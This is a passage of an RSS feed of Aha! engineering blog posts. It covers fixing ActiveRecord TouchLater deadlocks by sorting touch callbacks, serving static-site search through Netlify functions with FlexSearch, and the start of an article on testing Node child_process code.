&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Epic&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationModel&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  belongs_to &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;:release&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;touch:&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; true&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Release&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; &amp;#x3C;&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; ApplicationModel&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;end&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The touch option is a key feature of Rails’ caching mechanism, and most of the
time it works very well — but it’s still possible that each model could send
these updates in a different order and cause deadlocks. It could also be caused
by the different order of foreign keys in the selected data itself — and that
would be impossible to predict!&lt;/p&gt;
&lt;p&gt;So after eliminating what deadlocks we could trace back to our own code using
the visual technique shown above, we decided to patch ActiveRecord ourselves.&lt;/p&gt;
&lt;h2&gt;What ActiveRecord’s TouchLater does&lt;/h2&gt;
&lt;p&gt;ActiveRecord’s &lt;a href=&quot;https://github.com/rails/rails/blob/main/activerecord/lib/active_record/touch_later.rb&quot;&gt;TouchLater&lt;/a&gt; module is designed to defer timestamp
updates to the end of the transaction using a &lt;code&gt;before_commit&lt;/code&gt; callback. These
are performed all at once, instead of being updated with each record as it gets
saved.&lt;/p&gt;
&lt;p&gt;Prior to TouchLater, this is what &lt;code&gt;after_save&lt;/code&gt; callbacks looked like when saving
two records in a transaction:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;BEGIN&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; requirements &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; name=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Requirement 1&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; features &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updated_at &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2020-01-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 4&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; releases &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updated_at &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2020-01-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; requirements &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; name=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Requirement 2&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; features &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updated_at &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2020-01-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; releases &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updated_at &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2020-01-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;COMMIT&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Between these duplicate updates touching the same &lt;em&gt;release&lt;/em&gt; twice, there was
ample opportunity for deadlocks to happen wherever it looped for each record,
and I suspect TouchLater was &lt;a href=&quot;https://github.com/rails/rails/issues/18606&quot;&gt;originally added&lt;/a&gt; precisely
because this was causing deadlocks. TouchLater collapsed any duplicate updates
and deferred them to the end of the transaction instead:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; requirements &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; name=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Requirement 1&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 5&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; requirements &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; name=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;Requirement 2&quot;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 3&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; features &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updated_at &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2020-01-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 4&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; releases &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updated_at &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2020-01-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 1&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;UPDATE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; features &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;SET&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; updated_at &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt; &apos;2020-01-01&apos;&lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt; WHERE&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; id &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt; 2&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The ordering here is much less prone to deadlocks. This is how ActiveRecord
works as of today, but it’s still not ideal.&lt;/p&gt;
&lt;h2&gt;Improving TouchLater&lt;/h2&gt;
&lt;p&gt;The first problem is that the updates are not grouped by table, and different
tables are interleaved within the list. So we first need to sort the
transaction callback records by &lt;em&gt;table name&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;The second problem is that records within a single table could also appear in
any order. So we also need to sort by &lt;em&gt;id&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Our &lt;a href=&quot;https://github.com/rails/rails/pull/33900/files&quot;&gt;initial solution&lt;/a&gt; did just that, and resolved over 95% of
deadlocks in our use case. Recently, we revisited this and found that we could
improve it further after we realized that our simple solution had undone the one
thing that ActiveRecord was already doing well: depth traversal. As it gathers
the &lt;code&gt;belongs_to&lt;/code&gt; associations, ActiveRecord would follow up the chain and always
add parent and grandparent associations to the callback array in their natural
order.&lt;/p&gt;
&lt;p&gt;To understand why the depth of model associations is relevant to deadlocks, it
helps to consider ActiveRecord transactions as two separate phases, with your
&lt;em&gt;work&lt;/em&gt; phase performed before the TouchLater callbacks that happen separately,
later.&lt;/p&gt;
&lt;p&gt;Here’s what ActiveRecord would do when we add one level of nested model, which
moves the &lt;em&gt;feature&lt;/em&gt; out of the &lt;em&gt;work&lt;/em&gt; and into the &lt;em&gt;callbacks&lt;/em&gt;:&lt;/p&gt;
&lt;table&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;feature.update!(attrs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;work &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [feature]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;callbacks &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  epic,       &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# (sort 1)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  release     &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# (sort 2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt; &lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/td&gt;
&lt;td&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;requirement.update!(attrs)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;work &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [requirement]&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;callbacks &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; [&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  feature,    &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# (sort 2)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  epic,       &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# (sort 1)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;  release     &lt;/span&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;# (sort 3)&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#24292E&quot;&gt;]&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;/table&gt;
&lt;p&gt;When sorting the callbacks simply by table name, the example on the
left would update &lt;em&gt;features&lt;/em&gt; before &lt;em&gt;epics&lt;/em&gt; naturally, but then &lt;em&gt;epics&lt;/em&gt;
before &lt;em&gt;features&lt;/em&gt; with callback sorting on the right!&lt;/p&gt;
&lt;p&gt;Hence, our &lt;a href=&quot;https://github.com/rails/rails/pull/38146&quot;&gt;new solution&lt;/a&gt; incorporates sorting by association depth as well. We
do this by looking up the longest &lt;code&gt;belongs_to&lt;/code&gt; chain that a model can appear in
and update the deepest models first. This has solved all the remaining
unexplained deadlocks we were seeing.&lt;/p&gt;
&lt;p&gt;I was very happy to see the improvement after this new patch was deployed to
production. Finding solutions to problems like this and sharing them so the
greater developer community can benefit is what excites me about working at Aha!&lt;/p&gt;
&lt;p&gt;If you’ve read this far, I can only imagine that you’re like-minded and
passionate about improving the tools we work with. &lt;a href=&quot;https://www.aha.io/company/careers/current-openings/lead-ruby-on-rails-engineer-remote&quot;&gt;We are hiring&lt;/a&gt; and would love
to discuss what kinds of challenging problems you like to work on!&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Search on a static site with Netlify functions]]></title><description><![CDATA[Recently, our team at Aha! has been working on migrating our public marketing website from a traditional Rails app to a Gatsby application…]]></description><link>https://www.aha.io/engineering/articles/implementing-search-static-site-netlify-functions</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/implementing-search-static-site-netlify-functions</guid><dc:creator><![CDATA[Zach Schneider]]></dc:creator><pubDate>Tue, 02 Jun 2020 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Recently, our team at Aha! has been working on migrating our public marketing website from a traditional Rails app to a &lt;a href=&quot;https://www.gatsbyjs.com&quot;&gt;Gatsby&lt;/a&gt; application hosted on &lt;a href=&quot;https://www.netlify.com&quot;&gt;Netlify&lt;/a&gt;. Gatsby (and static sites in general) offer a large number of benefits: they are highly secure, easy to scale, and blazing fast. But these benefits come with tradeoffs; it&apos;s more difficult to perform some tasks that come very easily with a server.&lt;/p&gt;
&lt;p&gt;One of the more common tasks complicated by a static site architecture is search. Search is a solved problem for traditional webserver applications. You can implement search with a basic SQL LIKE query, a more advanced Postgres &lt;a href=&quot;https://www.postgresql.org/docs/12/textsearch.html&quot;&gt;text search&lt;/a&gt;, or even a dedicated search index like Elasticsearch. With a static site, there is no database or standalone index to query. For simple workloads, you can implement a local in-browser search index such as &lt;a href=&quot;https://www.gatsbyjs.com/plugins/@gatsby-contrib/gatsby-plugin-elasticlunr-search&quot;&gt;gatsby-plugin-elasticlunr-search&lt;/a&gt;. But this solution scales very poorly once you reach a few MB in search data because you have to keep a giant search index in browser memory, which hogs RAM and can drastically slow down your build. You can also outsource search to a third-party service like &lt;a href=&quot;https://www.algolia.com&quot;&gt;Algolia&lt;/a&gt;, but at a literal cost in dollars and a metaphorical cost in architectural complexity. Reliance on a third party also undercuts one of the primary benefits of a static site architecture — you are once again dependent on a server&apos;s uptime rather than simply serving static HTML from CDNs around the globe.&lt;/p&gt;
&lt;p&gt;Netlify, a popular service for hosting static sites, is well aware that some problems simply lend themselves better to a server. Their answer to this is &lt;a href=&quot;https://www.netlify.com/products/functions/&quot;&gt;Netlify functions&lt;/a&gt; — serverless functions that you can write in JavaScript and are then automatically hosted as API endpoints when you deploy to Netlify. Netlify functions offer a happy middle ground for many traditionally server-dependent tasks. They are integrated into the same hosting platform so you don&apos;t introduce more dependencies, they are stateless and simple to reason about, and they don&apos;t rely on the uptime of any particular server. Under the hood, Netlify functions are simply a wrapper around AWS Lambda functions. These characteristics led us to wonder — could we leverage Netlify functions to implement a search index?&lt;/p&gt;
&lt;p&gt;The answer, as it turns out, is yes! Netlify functions can be dynamically generated during the build process, which means we can hydrate a function with a search index at build time and then make AJAX requests to perform searches. We&apos;ve &lt;a href=&quot;https://github.com/aha-app/netlify-flexsearch&quot;&gt;open-sourced&lt;/a&gt; an npm package, &lt;code&gt;@aha-app/netlify-flexsearch&lt;/code&gt;, to simplify the process of creating a dynamic search index using Netlify functions. Our package implements the search index with &lt;a href=&quot;https://github.com/nextapps-de/flexsearch&quot;&gt;FlexSearch&lt;/a&gt;, a fast and flexible JavaScript full text search engine.&lt;/p&gt;
&lt;p&gt;Our package has two logical components — one piece helps to generate a Netlify function with the search index at build time, and the other piece helps to simplify the process of querying the generated index from the client.&lt;/p&gt;
&lt;p&gt;The build helper, &lt;code&gt;createSearchIndex&lt;/code&gt;, accepts a name for the index and a dataset; it interpolates the dataset into a template function and writes the output to the configured Netlify functions folder. You can even create multiple distinctly-named indexes if you have several distinct datasets. When deployed on Netlify, the resulting function (named with the pattern &lt;code&gt;search${indexName}&lt;/code&gt;) will accept HTTP GET requests with a search term parameter and return the matching data.&lt;/p&gt;
&lt;p&gt;The client helper is actually two helpers — a React hook and a generic asynchronous function. If you&apos;re using Gatsby or another React-based static site generator, you can use the &lt;code&gt;useSearch&lt;/code&gt; hook to easily hook up your component to query the generated search index. If you&apos;re not using React, you can use the &lt;code&gt;search&lt;/code&gt; function to query the search index directly and integrate with your framework however it best fits.&lt;/p&gt;
&lt;p&gt;We&apos;ve seen great results thus far from this search architecture. Our search indexes are not especially small (the largest is just shy of 5MB) but the search functions are still quite performant, returning results in about 200ms. At the same time, our build got significantly faster and its RAM usage dropped drastically because we were able to eliminate the in-browser search index that we were previously building.&lt;/p&gt;
&lt;p&gt;While it&apos;s been great for us, this solution may not be ideal for every workload. Netlify functions are limited to 1024MB of RAM out of the box, so if your search index is at or near that limit, you may have to purchase an enterprise plan to increase the available RAM or consider an alternate solution. We also have not tested performance with extremely large datasets; it may be the case that a search index with hundreds of MB of data will become unacceptably slow even if it fits under the Netlify RAM limit. But for medium-sized workloads such as ours, offloading our search index to a Netlify function struck a Goldilocks balance of performance, stability, and convenience. We think that other Netlify users could also benefit from this approach to search, and thus open-sourced our &lt;a href=&quot;https://www.npmjs.com/package/@aha-app/netlify-flexsearch&quot;&gt;package&lt;/a&gt; in the hope that others will find it useful.&lt;/p&gt;</content:encoded></item><item><title><![CDATA[How do you test multiprocess code in Node?]]></title><description><![CDATA[A little while ago, I wrote about using Node's child_process library. child_process creates other processes to do work instead of tying up a…]]></description><link>https://www.aha.io/engineering/articles/testing-multiprocess-code</link><guid isPermaLink="true">https://www.aha.io/engineering/articles/testing-multiprocess-code</guid><dc:creator><![CDATA[Justin Weiss]]></dc:creator><pubDate>Tue, 30 Jul 2019 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;./node-child-processes&quot;&gt;A little while ago&lt;/a&gt;, I wrote about using Node&apos;s &lt;code&gt;child_process&lt;/code&gt; library. &lt;code&gt;child_process&lt;/code&gt; creates other processes to do work instead of tying up a single process. When you do work in child processes, you get some big benefits: You can avoid hangs when a computation takes too long, and you won&apos;t lose important Node process when a single task crashes.&lt;/p&gt;
&lt;p&gt;The parent process needs to communicate with the child to give it work to do. The parent does this by sending arbitrary data with &lt;a href=&quot;http://wiki.c2.com/?StringlyTyped&quot;&gt;stringly-typed&lt;/a&gt; keys, and the child processes need to know how to read that data.&lt;/p&gt;
&lt;p&gt;This is just asking for trouble.&lt;/p&gt;
&lt;p&gt;If you mistype a key or you expect to receive data in a different format than it&apos;s sent, things go bad very quickly. So you have a challenge: How do you make sure this code is correct and continues to work?&lt;/p&gt;
&lt;p&gt;Testing is the answer, but how do you test across process boundaries? That sounds really hard. But with a few dozen lines of code and a mock or two, it can be done. And it can be done in a way that makes your tests look great at the end.&lt;/p&gt;
&lt;h2&gt;First, find or create seams&lt;/h2&gt;
&lt;p&gt;If you have code that&apos;s inherently hard to test, you have a few options. For quick, simple tests, you can mock out the parts that are hard to test. But if you mock too much, your tests can lie to you. When you mock both sides and the thing you&apos;re mocking changes, your mocks still pass, even though your code fails. That&apos;s a bad, bad place to be.&lt;/p&gt;
&lt;p&gt;For an end-to-end test to be accurate, you need to leave most of the system alone. When there are parts you can&apos;t test, you need to find places where you can work around just those parts.&lt;/p&gt;
&lt;p&gt;I think of these places where easy-to-test meets hard-to-test as &quot;seams&quot; — a term I learned from one of my favorite books on testing, &lt;em&gt;Working Effectively with Legacy Code&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Some seams you can find easily. Here&apos;s an updated parent process from the last article, turned into a full Calculator class to make things a little cleaner:&lt;/p&gt;
&lt;pre class=&quot;shiki github-light&quot; style=&quot;background-color:#fff;color:#24292e&quot; tabindex=&quot;0&quot;&gt;&lt;code&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#6A737D&quot;&gt;// Calculator.js&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;const&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; { &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; } &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; require&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;child_process&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;class&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; Calculator&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt; {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;  constructor&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;() {&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.child &lt;/span&gt;&lt;span style=&quot;color:#D73A49&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt; fork&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;./child.js&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;    this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;.child.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;on&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#032F62&quot;&gt;&quot;message&quot;&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;._handleMessage.&lt;/span&gt;&lt;span style=&quot;color:#6F42C1&quot;&gt;bind&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#005CC5&quot;&gt;this&lt;/span&gt;&lt;span style=&quot;color:#24292E&quot;&gt;));&lt;/span&gt;&lt;/span&gt;
